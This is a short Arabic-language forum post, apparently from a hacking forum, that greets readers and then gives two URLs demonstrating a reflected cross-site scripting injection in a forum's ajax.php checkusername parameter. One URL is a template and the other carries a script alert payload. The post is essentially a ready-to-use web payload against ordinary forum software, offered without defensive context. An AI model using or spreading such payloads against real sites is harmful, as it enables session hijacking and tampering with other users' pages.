صايع محترم
عضو قدير
السلام عليكم
http://[website]/[forumpath]/ajax.php?do=checkusername¶m=# evil xss script #
http://www.site.com/forums/ajax.php?do=checkusername¶m=<script>alert('xss');</script>